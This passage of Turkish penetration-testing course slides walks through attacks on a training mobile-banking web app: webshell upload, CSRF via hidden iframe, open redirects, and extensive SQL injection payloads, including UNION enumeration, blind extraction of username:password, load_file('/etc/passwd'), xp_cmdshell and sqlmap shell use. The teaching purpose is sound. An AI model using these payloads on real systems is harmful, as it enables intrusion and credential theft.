  220. 220. Oturum Yönetim Açıklıkları Oturum Parametresinin Rassallığı Oturum parametresi olan PHPSESSID cookie'sinin atandığı istekler
  221. 221. Oturum Yönetim Açıklıkları Oturum Parametresinin Rassallığı Sequencer modülü otomatik olarak rassallık testi yapılabilecek cookie ve parametreleri tanıyabilir, veya biz istediğimiz özel alanı Burp'e tanıtabiliriz.
  222. 222. Oturum Yönetim Açıklıkları Oturum Parametresinin Rassallığı Sequencer modülü cookie'mizin rassallık değerini çok düşük buldu. cookie değer örneklerimiz
  223. 223. Oturum Yönetim Açıklıkları Oturum Parametresinin Analizi cookie değerimiz Base64 kodlanmışa benziyor
  224. 224. Oturum Yönetim Açıklıkları Oturum Parametresinin Analizi cookie değerimiz Base64 kodlanmışa benziyor
  225. 225. Oturum Yönetim Açıklıkları Oturum Parametresinin Analizi Ardışık cookie değerlerimizi Base64 decode ettiğimizde ardışık artan ondalık sayılar olduğunu görüyoruz.
  226. 226. SINIF TARTIŞMASI • Sunucu oturum süre sınırını nasıl test edebiliriz? Oturum Yönetim Açıklıkları
  227. 227. Oturum Yönetim Açıklıkları Güvenli Çıkış Fonksiyonu
  228. 228. Oturum Yönetim Açıklıkları Güvenli Çıkış Güvenli mi? Güvenli Çıkış isteği
  229. 229. Oturum Yönetim Açıklıkları Güvenli Çıkış Güvenli mi? Güvenli Çıkış yanıtı
  230. 230. Oturum Yönetim Açıklıkları Güvenli Çıkış Güvenli mi? Oturum halen geçerli!
  231. 231. Cookie Riskleri Cookie Özellikleri Oturum cookie'miz "httponly" olarak işaretlenmediği için Javascript kodu ile erişilebilir. "secure" olarak işaretlenmediği için HTTP üzerinden iletilebilir.
  232. 232. Cookie Riskleri Kalıcı Cookie'ler "BTRmCookie" 2016 yılında expire ettiğinden diske yazılacaktır.
  233. 233. Cookie Riskleri Kalıcı Cookie'ler "BTRmCookie" mevcut tarihten bir yıl sonra expire ettiğinden diske yazılacaktır. Bu cookie onaltılık değerler olarak belirtilmiştir.
  234. 234. Cookie Riskleri Kalıcı Cookie'ler Bu cookie değerini ASCII HEX decode ettiğimizde içinde telefon numarası ve kullanıcı adı, soyadının tutulduğunu görüyoruz.
  235. 235. File Upload Riskleri Uygulamanın resim yükleme fonksiyonunu kullanıyoruz.
  236. 236. File Upload Riskleri Uygulama resim dosyasının ismini aşağıdaki gibi oluşturuyor ve bunu istemci tarafında belirlemiş oluyor.
  237. 237. File Upload Riskleri Bilgilerim sayfasında bulunan linkleri incelediğimizde fotoğraf dosyasının bu isimle çekildiğini görüyoruz. Buradan yüklenen dosyaların "/profile_photo" dizini altına yüklendiğini varsayabiliriz.
  238. 238. File Upload Riskleri Bu defa bir resim dosyası yerine bir php kodu yükleyeceğiz. Uygulama istemci veya sunucu tarafında uzantı veya içerik kontrolü yapmıyor.
  239. 239. File Upload Riskleri Dosya ismi parametresinin değerini "3.jpg"den "webshell.php"ye dönüştürüyoruz.
  240. 240. File Upload Riskleri Son olarak bu dosyaya eriştiğimizde PHP kodu çalışıyor ve sunucu üzerinde dilediğimiz kodu çalıştırıyoruz.
  241. 241. CSRF Saldırıları TL Transfer isteği Bu isteği üretecek PoC HTML
  242. 242. CSRF Saldırıları Görünmeyen iframe'imiz
  243. 243. CSRF Saldırıları Görünmeyen iframe'e yüklenecek HTML dosyası (CSRF PoC HTML verisini içerir)
  244. 244. CSRF Saldırıları Hedef uygulama açıkken Kullanıcı invisible iframe barındıran csrf.html sayfasını ziyaret eder
  245. 245. CSRF Saldırıları Kullanıcı farkında olmadan iletilen istek Dönen başarılı yanıt
  246. 246. Redirection Açıklıkları Güvenli çıkış düğmesine tıkladığımızda karşımıza login sayfası geliyor. Bu isteği inceleyelim.
  247. 247. Redirection Açıklıkları Bu düğme tıklandığında yapılan isteğin "loginpage" adında bir parametre aldığını ve bu parametrenin de "login.php" olduğunu görüyoruz.
  248. 248. Redirection Açıklıkları "logout.php" sayfasına giden isteği bu şekilde düzenlediğimizde bizi bu sayfaya da yönlendirecek mi bakalım.
  249. 249. Redirection Açıklıkları
  250. 250. Redirection Açıklıkları Sonuç umduğumuz gibi oldu, bizi http://www.btrisk.com adresine yönlendiriyor.
  251. 251. Redirection Açıklıkları
  252. 252. URL ve Referer Başlığında Sızan Bilgiler TL Yükle fonksiyonu hassas parametreleri URL içinde iletiyor
  253. 253. URL ve Referer Başlığında Sızan Bilgiler TL Yükle fonksiyonu hassas parametreleri URL içinde iletiyor
  254. 254. SINIF TARTIŞMASI • URL içinde hassas bilgi iletilmesinin doğurabileceği riskler nelerdir? URL ve Referer Başlığında Sızan Bilgiler
  255. 255. URL ve Referer Başlığında Sızan Bilgiler TL Yükle fonksiyonuna yapılan isteğe dönen HTML yanıtı içinde www.btrisk.com alanında bulunan bir resim dosyasına link görülüyor
  256. 256. URL ve Referer Başlığında Sızan Bilgiler Bu resim dosyasına yapılan istek mesajının "Referer" başlığı içinde hassas bilgileri içeren URL bilgisi görülüyor
  257. 257. URL ve Referer Başlığında Sızan Bilgiler
  258. 258. URL ve Referer Başlığında Sızan Bilgiler www.btrisk.com alanından çekilen resim görüntüsü
  259. 259. HTML Comment Bölümlerinde Sızan Hassas Bilgiler Çok sık olmasa da özellikle uygulama geliştirme süreci ve testler sırasında HTML yorum alanlarında yerleştirilmiş olan hassas bilgiler üretim ortamlarında da unutulabilmektedir Bu durumu test etmek için elbette sayfa kaynak kodlarını incelemek gerekecektir
  260. 260. HTML Comment Bölümlerinde Sızan Hassas Bilgiler OTP sayfasının kaynak kodunda OTP kodunun yorum alanında istemciye iletildiğini görüyoruz (Not: Bu alan eğitim uygulamamızın telefon ekranı görüntüsünde görülen OTP koduyla ilişkili bir alan değildir)
  261. 261. HTML Comment Bölümlerinde Sızan Hassas Bilgiler Burp'ün yorum satırlarını otomatik olarak ayrıştırabilmesi sayesinde yorum satırlarını daha kolay inceleyebilirsiniz
  262. 262. HACKING'İN ALTIN KURALI #2 (MANTIK ve ERİŞİM KONTROL HATALARI DIŞINDAKİ TEKNİK HATALAR İÇİN) EĞER BİR SİSTEMİ HACK'LEYEBİLİYORSANIZ O SİSTEME HATA ALDIRABİLİRSİNİZ DOLAYISIYLA BİR SİSTEME HATA ALDIRABİLİYORSANIZ O SİSTEMİ HACK'LEME İHTİMALİNİZ VARDIR HACKING
  263. 263. Hata Ele Alma Hata Ele Alma Riskleri: • Web sunucusu, uygulama sunucusu ve uygulama içinde hata ele alma ve özel hata mesajları (custom error messages) kullanılmaması, veya • Uygulama tarafından ele alınan hatalar için teknik hata mesajlarının kullanıcıya görüntülenmesi olası saldırganların işini kolaylaştıracaktır. • Hacking'in Altın Kuralı #2 gereği hata oluşması halinde uygulamanın hack'lenmesi ihtimali doğacaktır. Hata mesajlarının zengin biçimde kullanıcıya aktarılması ise saldırı yöntemlerinin kısa zamanda etkili hale getirilmesine büyük yardımda bulunacaktır.
  264. 264. Command Injection system($_REQUEST['cmd']); Kod Injection eval($dinamikkod); Uygulama Sunucusu Katmanı Injection Açıklıkları Hangi tür web uygulamalarında bu tür fonkisyonaliteye ihtiyaç duyarsınız?
  265. 265. Web Sunucusu Tarayıcı (Browser) Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular Girdi Kontrolü Mantık Hataları WEB UYGULAMA MİMARİSİ
  266. 266. SQL Injection Saldırıları SQL (Structured Query Language) Nedir? Data Definition Language (DDL) • CREATE (ör: CREATE TABLE Kullanici (KullaniciID int, KullaniciAdi varchar(255));) • ALTER (ör: ALTER TABLE Kullanici ADD Adres varchar(255);) • DROP (ör: DROP TABLE Kullanici;) Data Control Language (DCL) • GRANT (ör: GRANT SELECT, INSERT, UPDATE, DELETE ON Kullanici TO bozgenc;) • REVOKE (ör: REVOKE SELECT ON Kullanici FROM public;) Data Transaction Language (DTL) • START TRANSACTION • SAVEPOINT • COMMIT • ROLLBACK [TO SAVEPOINT]
  267. 267. SQL Injection Saldırıları SQL (Structured Query Language) Nedir? Data Query Language (DQL) • SELECT (detaylı şekilde açıklayacağız) • SHOW • HELP Data Manipulation Language (DML) • INSERT (ör: INSERT INTO Kullanici (KullaniciAdi, Adres) VALUES ('akara','Istanbul');) • UPDATE (ör: UPDATE Kullanici SET Adres='Ankara' WHERE KullaniciID=26;) • DELETE (ör: DELETE FROM Kullanici WHERE KullaniciID=999;)
  268. 268. SQL Injection Saldırıları SINIF TARTIŞMASI • Bir pentest uzmanı SQL'i neden iyi bilmelidir (veya gerektiğinde hızlıca hatırlayabilmelidir)?
  269. 269. SQL Injection Saldırıları SELECT İfadesi SELECT kolon adları FROM tablo_adı WHERE kolon_adı operatör değer; ör: SELECT no, password FROM kullanicilar WHERE no = '5550000001'; WHERE koşul örnekleri: WHERE kolon_adı LIKE pattern (ör: WHERE no LIKE '555%') WHERE kolon_adı IN (değer1,değer2,...) (ör: WHERE no IN ('5550000001', '5550000002')) WHERE kolon_adı BETWEEN değer1 ANDdeğer2; (ör WHERE no BETWEEN '5550000001' AND'5550000999') WHERE koşul örnekleri
  270. 270. (Birden fazla tablodan bilgi çekme) JOIN örnekleri: SELECT kolon adları FROM tablo1 INNER JOIN tablo2 ON tablo1.kolon_adı=tablo2.kolon_adı; Örnek ("alias" kullanımı ile birlikte): SELECT T1.Ad, T2.HesapNo FROM Musteri T1 INNER JOIN Hesap T2 ON T1.MusteriNo=T2.MusteriNo; SQL Injection Saldırıları SELECT İfadesi (Birden fazla tablodan bilgi çekme) JOIN örneği: Örnek ("alias" kullanımı ile birlikte):
  271. 271. SQL Injection Saldırıları SELECT İfadesi (Aggregate) FonksiyonKullanım örnekleri: SELECT COUNT(*) FROM tablo adı; SELECT kolon_adı, aggregate_fonksiyon(kolon_adı) FROM tablo_adı WHERE kolon_adı operatör değer GROUP BY kolon_adı; Örnek: SELECT MusteriNo, COUNT(HesapNo) AS Hesap_Sayisi FROM Hesap WHERE HesapTipi='VadesizMevduat' GROUP BY MusteriNo (Aggregate) Fonksiyon Kullanım örnekleri: Örnek:
  272. 272. SQL Injection Saldırıları SELECT İfadesi HAVING koşulu:Aggregatefonksiyonlar ile birlikteWHERE koşulu kullanılamadığındanSQL dilineHAVING koşulu eklenmiştir. SELECT column_name, aggregate_function(column_name) FROM table_name WHERE column_nameoperator value GROUP BY column_name HAVING aggregate_function(column_name) operator value; Örnek: SELECT MusteriNo, COUNT(HesapNo) AS Hesap_Sayisi FROM Hesap WHERE HesapTipi='VadesizMevduat' GROUP BY MusteriNo HAVING COUNT(HesapNo) >3; HAVING koşulu: Aggregate fonksiyonlar ile birlikte WHERE koşulu kullanılamadığından SQL diline HAVING koşulu eklenmiştir. Örnek:
  273. 273. Payload: 1 OR 1=1# SQL Injection Saldırıları SQL Injection'a giriş SQL Injection'a giriş SELECT * FROM fatura_detay WHERE fatura_id=$id Payload: 1 OR 1=1# SELECT * FROM fatura_detay WHERE fatura_id=1 OR 1=1# (tüm faturaları gösterir) ya da girdi tipi string ise "SELECT * FROM fatura_detay WHERE fatura_id='".$id."'" Payload: 1' OR 1=1# SELECT * FROM fatura_detay WHERE fatura_id='1' OR 1=1# Tüm faturaları gösterir ya da girdi tipi string ise Payload: 1' OR 1=1#
  274. 274. SQL Injection Saldırıları UNION ve SQL injection açısından önemi UNION ve SQL injection açısından önemi Bilgi çekmek istediğimiz farklı bir tablo varsa UNION ifadesi bize yardımcı olabilir SELECT kolon adları FROM tablo1 UNION ALL SELECT kolon adları FROM tablo2; Ön koşullar: Diğer tablo ve alan adlarının bilinmesi UNION yapılacak bir önceki SELECT ifadesindeki kolon adları ile bilgi çekeceğimiz tablonun alan veri tiplerinin uyuşması Bilgi çekmek istediğimiz farklı bir tablo varsa UNION ifadesi bize yardımcı olabilir. Ön Koşullar: • Diğer tablo ve alan adlarının bilinmesi • UNION yapılacak bir önceki SELECT ifadesindeki kolon adları ile bilgi çekeceğimiz tablonun alan veri tiplerinin uyuşması
  275. 275. SQL Injection Saldırıları UNION ve SQL injection açısından önemi UNION ile kolon sayısı bulma yöntemleri (hata almayıncaya dek) ' UNION SELECT NULL-- ' UNION SELECT NULL, NULL-- ' UNION SELECT NULL, NULL, NULL-- String veri tiplerini tespit etmek için ' UNION SELECT 'a', NULL, NULL-- ' UNION SELECT NULL, 'a', NULL-- ' UNION SELECT NULL, NULL, 'a'-- Not: Oracle veritabanlarında FROM deyimi bulunmak zorunda olduğundan mutlaka bu deyim kullanılmalıdır. Bununiçin ' UNION SELECT NULL FROM DUAL-- kullanılabilir. Not: Genelliklenumerik değerler string değerler olarak değerlendirilebilir. Ancak tam tersi mümkündeğildir. Bu nedenlekolon sayısını bulurken şu ifadeyi dekullanabilirdik: ' UNION SELECT 1, 1, 1-- UNION ile kolon sayısı bulma yöntemleri (hata almayıncaya dek) String veri tiplerini tespit etmek için Not-1: Oracle veritabanlarında FROM deyimi bulunmak zorunda olduğundan mutlaka bu deyim kullanılmalıdır. Bunun için ' UNION SELECT NULL FROM DUAL-- kullanılabilir. Not-2: Genellikle numerik değerler string değerler olarak değerlendirilebilir. Ancak tam tersi mümkün değildir. Bu nedenle kolon sayısını bulurken şu ifadeyi de kullanabilirdik: ' UNION SELECT 1, 1, 1--
  276. 276. SQL Injection Saldırıları UNION ve SQL injection açısından önemi Kolon sayısını öğrenmenin bir başka yolu da ORDER BY deyiminin kullanılmasıdır ORDER BY 1-- ORDER BY 2-- ORDER BY N-- ta ki hata alıncaya kadar. Hata alınan ilk rakam kolon sayısının aşıldığı anlamına gelir. Kolon sayısını öğrenmenin bir başka yolu da ORDER BY deyiminin kullanılmasıdır. ta ki hata alıncaya kadar. Hata alınan ilk rakam kolon sayısının aşıldığı anlamına gelir.
  277. 277. SQL Injection Saldırıları MSSQL ODBC Hataları Sayesinde Injection Yaptığımız SELECT Cümle Yapısını Öğrenme İmkanları MSSQL, Oracle ve MySQL veritabanları arasında hata mesajları zenginliği açısından (genel olarak) en kötüsü MySQL, en iyisi ise MSSQL'dir. MSSQL Server'ın ODBC hata mesajları HAVING ve GROUP BY deyimleri kullanılarak tablo ismi ve kolon isimlerinin bulunması için kullanılabilir.
  278. 278. SQL Injection Saldırıları MSSQL ODBC Hataları Sayesinde Injection Yaptığımız SELECT Cümle Yapısını Öğrenme İmkanları ta ki hata oluşmayıncaya kadar. HAVING deyimi GROUP BY deyimi ile birlikte kullanılır. Eğer HAVING deyimi kullanılıyorsa aggregate fonksiyon olsun veya olmasın aggregate fonksiyona konu olmayan tüm alanlar GROUP BY deyimi ile belirtilmelidir.
  279. 279. SQL Injection Saldırıları SINIF TARTIŞMASI • SQL injection açıklığı tespit ettiğimizde hedefimizdeki veritabanı sunucusunu ve versiyonunu neden tespit etmek isteyebiliriz?
  280. 280. SQL Injection Saldırıları Veritabanı Sunucusunu Tespit Etme Yöntemleri String veri tipinde girdi alan bir parametre için concatenation (birleştirme) yöntemleri'nden faydalanarak: • MSSQL: 'bt'+'risk' • MySQL: 'bt' 'risk' (arada boşluk karakteri ile) • Oracle: 'bt'||'risk' Numerik veri tipinde girdi alan bir parametre için veritabanına özel fonksiyon kullanarak: • MSSQL: @@PACK_RECEIVED-@@PACK_RECEIVED • MySQL: CONNECTION_ID()-CONNECTION_ID() • Oracle: BITAND(1,1)-BITAND(1,1)
  281. 281. SQL Injection Saldırıları Veritabanı Sunucusunu Tespit Etme Yöntemleri Olağan şüpheliler: • PHP uygulamaları genelde MySQL kullanır • Java uygulamaları genelde MySQL veya Oracle kullanır • ASP.NET uygulamaları genelde MSSQL kullanır
  282. 282. SQL Injection Saldırıları SQL injection için önemli SQL kural bilgileri Aynı satırda birden fazla SQL komutu gönderebilme • MSSQL ";" ile ayrılmış komutlar • MySQL ";" ancak mysqli() nesnesi ve bu nesnesi multi_query fonksiyonu ile (mysqli PHP uzantısı MySQL 4.1.3 ve sonraki versiyonlarla gelen imkanlardan faydalanmak için geliştirilmiş ve PHP versiyon 5 ve sonrasında yer almaktadır). Sorgunun geri kalanını yorum haline getirebilme • MSSQL: "--" çift çizgi • MySQL: "#" ve "-- " karakterleri (çift çizgiden sonra en az bir boşluk olması önemlidir, aksi takdirde hata oluşmaktadır. Örneğin gerek olmadığı halde SQL cümlesinin sonundaki bir parametreye injection yaparken -- kullanırsanız bu karakterlerden sonra boşluk oluşmamakta ve hata oluşmaktadır.)
  283. 283. SQL Injection Saldırıları Veri Sızdırma Öncesi Veritabanı Yapısını Öğrenme (Ör: MySQL veritabanı için) Veritabanı isimlerini elde etmek için SELECT schema_name FROM information_schema.schemata Tablo isimlerini elde etmek için SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_adı' Alan (kolon) isimlerini elde etmek için SELECT column_name FROM information_schema.columns WHERE table_name = 'tablo_adı' Veritabanı isimlerini elde etmek için Tablo isimlerini elde etmek için Alan (kolon) isimlerini elde etmek için
  284. 284. SQL Injection Saldırıları UNION SQL Injection Örneği [Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)
  285. 285. SQL Injection Saldırıları UNION SQL Injection Örneği "'" karakteri hata alınmasına neden oldu Hata mesajlarından bunun bir veritabanı hatası olduğunu anlayabiliyoruz
  286. 286. SQL Injection Saldırıları UNION SQL Injection Örneği "id" parametresi string tipinde olmayabilir, numerik bir payload deneyelim
  287. 287. SQL Injection Saldırıları UNION SQL Injection Örneği Bu sorgu için tüm verilere eriştik. Bir sonraki adımımız farklı tablolardan veri çekmek olacak
  288. 288. SQL Injection Saldırıları UNION SQL Injection Örneği SELECT cümlesindeki Alan sayısını bulmak için hem numerik hem de alfabetik veri tipleri ile uyumlu NULL değerini kullanıyoruz
  289. 289. SQL Injection Saldırıları UNION SQL Injection Örneği Alttaki tabloya veri sağlayan sorgunun 5 alan döndürdüğünü anlamış olduk
  290. 290. SQL Injection Saldırıları UNION SQL Injection Örneği Üstteki tabloya veri sağlayan sorgu ise 6 alan döndürüyor
  291. 291. SQL Injection Saldırıları UNION SQL Injection Örneği Öncelikle veritabanı isimlerine ulaşmaya çalışıyoruz. Birinci alanda dönen verilerin uygulama geliştirici tarafından kullanılmadığı anlaşılıyor.
  292. 292. SQL Injection Saldırıları UNION SQL Injection Örneği 3. alan "Tutar" bölümünde göründü. Bu listeden hedef veritabanımızın "btrmobile" olduğunu tahmin edebiliriz.
  293. 293. SQL Injection Saldırıları UNION SQL Injection Örneği Daha rahat görüntüleme amacıyla son alanı kullandık. Burada "btrmobile" veritabanındaki tablo isimlerini elde ediyoruz. Kullanıcılar tablosu ilginç görünüyor
  294. 294. SQL Injection Saldırıları UNION SQL Injection Örneği "kullanicilar" tablosunun alanlarını listeliyoruz. "id" veya "no" alanları kullanıcı kodu olarak kullanılıyor olabilir. Biz no alanının kullanıldığını biliyoruz. "no" ve "password" alanlarını elde etmeye çalışacağız.
  295. 295. SQL Injection Saldırıları UNION SQL Injection Örneği "kullanicilar" tablosunun verilerini listeliyoruz.
  296. 296. SQL Injection Saldırıları UNION SQL Injection Örneği Açıklık barındıran sorgularımız işte burada.
  297. 297. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği Injection yapılacak olan parametrenin id parametresi olduğunu belirtiyoruz. Geçerli bir oturum üzerinden injection yapabilmek için oturum cookie değerini belirtiyoruz. Sqlmap'in shell imkanından faydalanmak istiyoruz.
  298. 298. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği Veritabanı heuristic olarak MySQL olarak tahmin etti. Detaylı testleri atlıyoruz.
  299. 299. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği BOOLEAN (veya CONTENT) BASED Blind Injection yöntemini (daha sonra bahsedeceğiz) başarı ile uyguladı.
  300. 300. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği UNION yöntemi ile SQL injection'ı yapamadı. Bunun sebebi sayfada 2 tablo olması olmalı. Bunlardan birisinde hata ortadan kalktığında diğerinde oluşuyordu. TIME BASED Blind Injection yöntemini de (daha sonra bahsedeceğiz) başarı ile uyguladı.
  301. 301. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği Uygulayabildiği 2 injection yöntemini özetliyor. Shell'imizi aldık.
  302. 302. SQL Injection Saldırıları SQL Injection için Araç Kullanım Örneği Blind SQL Injection yöntemi ile veritabanı ismimizi çekebildik.
  303. 303. SQL Injection Saldırıları Veritabanı Sistem Tablolarına Örnekler MSSQL • master..syslogins (kullanıcı tablosu) • master..sysdatabases (veritabanı tablosu) • master..sysobjects (veritabanı nesneleri tablosu) • master..sysservers (linkli sunucular tablosu) • master..syscolumns (tüm tablolar ve alanları) MySQL • mysql.user (kullanıcı tablosu) • information_schema.schemata (veritabanı listesi) • information_schema.tables (tablo listesi) • information_schema.columns (tüm tablolar ve alanları) Oracle • user_objects (veritabanı nesneleri tablosu) • all_tab_columns (tüm tablolar ve alanları)
  304. 304. SQL Injection Saldırıları Güçlü Veritabanı Fonksiyonlarına Örnekler MSSQL • Registery fonksiyonları (xp_regread, xp_regwrite,..) • Servis başlatma ve kapatma (xp_servicecontrol) • Komut işletme (xp_cmdshell - SQL Server 2005'ten bu yana ön tanımlı olarak aktif değildir) • Veritabanını kapatma (shutdown) • Kullanıcı ekleme (sp_addlogin) MySQL • Dosya okuma (load_file('/etc/passwd') dosya içeriğini string olarak döndürür) • Dosya yazma (select * from kullanici into outfile C:wampwwwkullanici.txt)
  305. 305. SQL Injection Saldırıları Diğer Sunuculara Erişim veya Veri Aktarım Fonksiyonlarına Örnekler MSSQL • OPENROWSET (çok eski MSSQL Server versiyonlarında (MSSQL Server 2000 ve daha öncesi) farklı bir sunucuya veri göndermek için kullanılıyordu) Oracle • UTL_HTTP paketi ve içindeki fonksiyonlar (ör: UTL_HTTP.request()), UTL_TCP, UTL_SMTP, UTL_FILE ve diğer paketler MySQL • SELECT ... INTO OUTFILE komutu (outfile bir ağ paylaşımında olabilir)
  306. 306. SQL Injection Saldırıları SINIF TARTIŞMASI • SELECT dışındaki deyimlere başarılı biçimde SQL injection yapılabilir mi, yapılabilirse hangi amaçlara ulaşılabilir?
  307. 307. SQL Injection Saldırıları SINIF TARTIŞMASI • Yukarıdaki SQL cümlesine belirtilen alanda injection yapılabilmesi için cümle yapısında neye dikkat etmemiz gerekir?
  308. 308. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Yöntem: SQL Injection açıklığı UNION tekniği ile farklı tablolardan veri sızdırmamıza imkan vermiyorsa, ancak injection'ı yaptığımız noktada AND operatörü sonrasında oluşturacağımız TRUE ve FALSE koşullarına karşı farklı yanıtlar üretiyorsa, o halde bir şansımız daha var demektir. Olumsuz Tarafı: UNION tabanlı veya doğrudan yanıt doğuran yöntemlere nazaran çok daha fazla sayıda istek göndermemiz gerekecektir. Örnek: Blind SQL Injection yönteminde genellikle veriler harf harf belirlenir ve her bir harfin değerini bulmak için binary search yöntemi kullanılır. Örneğin 0-100 arasında bulunması gereken 83 değerini bulmak için önce değerin 50'den büyük olup olmadığını sorgularsınız, eğer büyükse bu sefer 75'ten büyük olup olmadığını sorgularsınız, bundan da büyükse 88'den büyük olup olmadığını sorgularsınız. Bu sayıdan büyük olmadığı için bu defa 75 ve 88 sayılarının ortasında bulunan 81'den büyük olup olmadığını sorgularsınız ve bu sayı bulununcaya kadar devam eder.
  309. 309. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örnek (MySQL'e özel): http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 Koşul: "users" tablosunun ilk kaydından başlayarak bir kayıt al, bunun birinci karakterinden başlayarak bir karakterini ASCII değerine çevir ve 80'den büyük olup olmadığına bak.
  310. 310. SQL Injection Saldırıları Blind SQL Injection (Time-Based) Yöntem: Eğer SQL injection yapabilmemize ve TRUE ve FALSE koşullar oluşturabilmemize rağmen yanıtlarda bir farklılık gözlenmiyorsa o zaman TRUE veya FALSE koşullar oluştuğunda yanıtın dönme hızını etkileyerek yine veri sızdırma şansımız olabilir. Olumsuz Tarafı: Hem çok sayıda istek göndermemiz hem de zaman farkına dayanan bir yöntem olduğu için çok daha fazla süre beklememiz gerekecektir. Örnek: Time based SQL injection yönteminde sonucun hata doğurup doğurmadığı önemli değildir, ancak belli bir koşul gerçekleştiğinde sunucunun daha geç yanıt vermesine dayanarak veriler tahmin edilir.
  311. 311. SQL Injection Saldırıları Blind SQL Injection (Time-Based) Örnek (MySQL'e özel): http://www.site.com/news.php?id=5 and 1=IF(ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80, sleep(15),1)
  312. 312. SQL Injection Saldırıları Blind SQL Injection (Time-Based) Veritabanı sunucularının TIME-BASED BLIND SQL INJECTION saldırılarında kullanılabilecek fonksiyonlarına örnekler: MSSQL • WAITFOR DELAY '0:0:10' (10 sn. bekle) MySQL • sleep(5000) (sleep fonksiyonu MySQL 5.0.12 ve sonraki versiyonlarında kullanılabilir, 5.000 milisaniye bekle anlamına gelir) • benchmark(50000, SHA1('test')) (50.000 defa 'test' verisinin SHA1 hash değerini hesapla, bunun dışında CPU zamanını alabilecek farklı MySQL fonksiyonları da bulunmaktadır)
  313. 313. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği [Fatura Ödeme / Numara ile Ödeme] fonksiyonu ("numara" parametresi) Numara alanına "'" işareti gönderiyoruz.
  314. 314. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Hatalı bir durum oluştu, ancak uygulama hatayı ele aldı. SQL Injection olma ihtimali yüksek, ancak hata mesajı olmadığı için farklı bir neden de olabilir.
  315. 315. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Manuel olarak yaptığımız denemeler sonucunda numara parametresinin string veri tipinde olduğunu tespit ettik. Ayrıca geçerli bir telefon numarası girilmemesi halinde gelen yanıtlar her durumda boş olmaktadır. Son olarak hedeflediğimiz veritabanı MySQL olduğundan eğer sondaki iki çizgiden sonra bir boşluk karakteri konulmazsa hata oluşmaktadır.
  316. 316. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Comment işlemi için # kullandığımızda da sonuç alınmaktadır.
  317. 317. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği FALSE durumu oluştuğunda dönen içerik değişmektedir. Aradaki bu farkı blind injection amaçlı olarak kullanabiliriz.
  318. 318. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Bu noktadan sonra kullanım kolaylığı açısından Burp ile ilerleyeceğiz. İlk testimizde database() fonksiyonunun döndürdüğü değerin ilk karakterinin "a" (ASCII 97) olup olmadığını test ediyoruz. Dönen yanıt FALSE durumunda oluşan yanıt olduğundan ilk karakterin "a" olmadığı sonucuna varabiliriz.
  319. 319. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Bu defa "b" (ASCII 98) karakterinin doğru olup olmadığını test ediyoruz ve dönen yanıt TRUE koşulunda gözlediğimiz yanıt olduğu için database() fonksiyonunun döndürdüğü ilk karakterin "b" olduğunu söyleyebiliriz.
  320. 320. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Veritabanının adının "btrmobile" olduğunu bildiğimiz için ikinci karakterin "t" (ASCII 116) olup olmadığını test ediyoruz ve olduğunu görüyoruz. Normalde bu sürecin binary test süreci ile çok daha uzun sürmesi lazım. Bu işlem için bir araç kullanım ihtiyacı ortada.
  321. 321. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği sqlmap.py ile deneme Önceki sqlmap denememizden farklı olarak bir POST isteği üzerinde çalıştığımız için "— data" switch'ini kullanıyoruz. "numara" parametresine doğru ve yanlış sorguları ayırt etmemize imkan vermeyen (yani geçerli olmayan) bir telefon numarası yazdığımızı not edin.
  322. 322. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Sqlmap geçerli bir telefon numarası tahmin edemeyeceği için "numara" parametresinin injectable olduğundan emin olamadı.
  323. 323. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği "numara" parametresine bu defa geçerli bir numara yazarak denememizi yapalım.
  324. 324. SQL Injection Saldırıları Blind SQL Injection (Content-Based) Örneği Sqlmap geçerli bir telefon numarası verildiğinde time based blind SQL injection yöntemi ile başarıya ulaştı.
  325. 325. SOAP Injection Saldırıları Simple Object Access Protocol (SOAP) SOAP mesajlaşma formatı olarak XML'i kullanan bir protokoldür. <soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:tem="http://tempuri.org/"> <soapenv:Header/> <soapenv:Body> <tem:ApproveOrder> <!--Optional:--> <tem:gsm>?</tem:gsm> <!--Optional:--> <tem:pstn>?</tem:pstn> <!--Optional:--> <tem:email>?</tem:email> <!--Optional:--> <tem:address>?</tem:address> <!--Optional:--> <tem:postCode>?</tem:postCode> <tem:cityID>?</tem:cityID> <tem:countyID>?</tem:countyID> <tem:isApproved>?</tem:isApproved> </tem:ApproveOrder> </soapenv:Body> </soapenv:Envelope>
  326. 326. SOAP Injection Saldırıları Simple Object Access Protocol (SOAP) Test yöntemi: Girdi alanlarına "</test>" veya benzeri bir girdi gönderildiğinde uygulama hata üretirse uygulamanın girdiyi bir SOAP mesajı içinde kullanma ihtimali bulunduğunu söyleyebiliriz.
  327. 327. XPATH Injection Saldırıları XML Path Language (XPATH) XPATH XML dokümanları içinden veri çekmek için kullanılan bir dildir. XML dokümanlar veri saklamak için ilk tercihlerden olmasa da konfigürasyon verisi gibi verilerin saklanması için kullanılabilir.
